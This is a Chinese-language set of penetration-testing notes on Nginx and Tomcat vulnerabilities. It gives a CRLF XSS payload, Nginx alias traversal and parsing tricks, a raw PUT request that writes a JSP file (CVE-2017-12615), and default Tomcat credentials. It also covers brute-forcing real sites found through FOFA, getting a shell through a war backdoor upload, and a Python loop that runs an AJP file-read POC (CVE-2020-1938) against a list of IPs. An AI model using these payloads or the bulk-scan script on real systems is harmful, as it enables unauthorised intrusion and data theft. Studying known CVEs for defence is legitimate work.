中间件漏洞总结-Nginx-Tomcat

0x00 中间件漏洞-Nginx

1.CRLF漏洞
crlf就是换行回车的意思，当在数据包中加入换行回车的url编码，会被解析导致当前数据换行回车而出现在下一列，可以配合触发xss等漏洞

payload触发xss：/%0D%0A%0D%0A%3Cimg%20src=1%20οnerrοr=alert(/xss/)%3E

这里附上一个CRLF的检测工具：https://github.com/dwisiswant0/crlfuzz

2.路径穿越，配置错误
Nginx在配置别名（Alias）的时候，如果忘记加/，将造成一个目录穿越漏洞。
错误的配置文件示例（原本的目的是为了让用户访问到/home/目录下的文件）：

location /files {
    alias /home/;
}

3.错误配置解析漏洞 CVE-2013-4547
解析错误：/1.gif[0x20][0x00].php
上传修改hex 20 20 为 20 00：

4.错误解析漏洞
/1.png未解析 但是/1.png/.php被解析

添加.php被解析：

0x01 中间件漏洞-Tomcat

1.put请求 任意文件写入 CVE-2017-12615

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

2.Tomcat 弱口令 （弱口令爆破）
路径：8080/manager/html
弱口令：tomcat:tomcat

弱口令爆破：外真实网站

fofa："manager/html"

观察数据包的账户与密码传参解码

密码的加密方式：

使用Bp爆破：配置三个密码账户参数格式，使用加密编码传输爆破

爆破：

3.Tomcat war包上传getshell
登录后位置有个文件上传位置，上传jsp的war后门包，访问jps文件尝试getshell
”tomcat war包上传getshell“

4.文件读取漏洞 CVE-2020-1938
POC脚本：https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
读取成功：读取WEB-INF/web.xml文件

读取ROOT目录下的build.xml文件内容

fofa批量验证扫描：1.txt为tomcat的8009开发的IP资产

import os
for ip in open("1.txt"):
    ip=ip.replace('\n','')
    cmd="python  CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f build.xml "+ip
    os.system(cmd)  #注意python开启的版本

此漏洞后期的shell需要配合上传，配合包含漏洞